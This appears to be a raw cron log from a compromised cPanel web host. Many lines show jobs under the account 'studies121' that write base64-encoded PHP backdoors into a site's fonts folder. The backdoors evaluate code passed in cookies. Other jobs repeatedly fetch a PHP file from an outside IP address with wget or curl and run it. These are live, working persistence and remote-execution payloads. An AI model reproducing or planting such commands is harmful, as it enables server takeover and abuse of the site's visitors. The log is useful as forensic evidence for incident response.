Sep  4 22:42:01 ip-184-168-122-23 CROND[32052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:42:01 ip-184-168-122-23 CROND[32054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:42:01 ip-184-168-122-23 CROND[32055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:43:01 ip-184-168-122-23 CROND[32139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:43:01 ip-184-168-122-23 CROND[32141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:43:01 ip-184-168-122-23 CROND[32142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:43:01 ip-184-168-122-23 CROND[32143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:44:01 ip-184-168-122-23 CROND[32309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:44:01 ip-184-168-122-23 CROND[32310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:44:01 ip-184-168-122-23 CROND[32311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:44:01 ip-184-168-122-23 CROND[32312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:44:01 ip-184-168-122-23 CROND[32313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:45:01 ip-184-168-122-23 CROND[32407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:45:01 ip-184-168-122-23 CROND[32409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:45:01 ip-184-168-122-23 CROND[32412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:45:01 ip-184-168-122-23 CROND[32413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:45:01 ip-184-168-122-23 CROND[32414]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:45:01 ip-184-168-122-23 CROND[32411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:46:01 ip-184-168-122-23 CROND[32497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:46:01 ip-184-168-122-23 CROND[32500]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 22:46:01 ip-184-168-122-23 CROND[32501]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 22:46:01 ip-184-168-122-23 CROND[32503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:46:01 ip-184-168-122-23 CROND[32502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:46:01 ip-184-168-122-23 CROND[32504]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:46:01 ip-184-168-122-23 CROND[32505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:47:01 ip-184-168-122-23 CROND[32598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:47:01 ip-184-168-122-23 CROND[32599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:47:01 ip-184-168-122-23 CROND[32602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:47:01 ip-184-168-122-23 CROND[32600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:48:01 ip-184-168-122-23 CROND[32691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:48:01 ip-184-168-122-23 CROND[32693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:48:01 ip-184-168-122-23 CROND[32692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:48:01 ip-184-168-122-23 CROND[32694]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:48:01 ip-184-168-122-23 CROND[32696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:49:01 ip-184-168-122-23 CROND[332]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 22:49:01 ip-184-168-122-23 CROND[333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:49:01 ip-184-168-122-23 CROND[334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:49:01 ip-184-168-122-23 CROND[335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:49:01 ip-184-168-122-23 CROND[336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:50:01 ip-184-168-122-23 CROND[522]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:50:01 ip-184-168-122-23 CROND[525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:50:01 ip-184-168-122-23 CROND[528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:50:01 ip-184-168-122-23 CROND[527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:50:01 ip-184-168-122-23 CROND[529]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 22:50:01 ip-184-168-122-23 CROND[531]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 22:50:01 ip-184-168-122-23 CROND[532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:50:01 ip-184-168-122-23 CROND[533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:50:01 ip-184-168-122-23 CROND[536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:51:02 ip-184-168-122-23 CROND[663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:51:02 ip-184-168-122-23 CROND[662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:51:02 ip-184-168-122-23 CROND[664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:51:02 ip-184-168-122-23 CROND[665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:52:01 ip-184-168-122-23 CROND[749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:52:01 ip-184-168-122-23 CROND[750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:52:01 ip-184-168-122-23 CROND[751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:52:01 ip-184-168-122-23 CROND[752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:52:01 ip-184-168-122-23 CROND[753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:53:01 ip-184-168-122-23 CROND[845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:53:01 ip-184-168-122-23 CROND[849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:53:01 ip-184-168-122-23 CROND[847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:53:01 ip-184-168-122-23 CROND[848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:54:01 ip-184-168-122-23 CROND[933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:54:01 ip-184-168-122-23 CROND[936]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:54:01 ip-184-168-122-23 CROND[937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
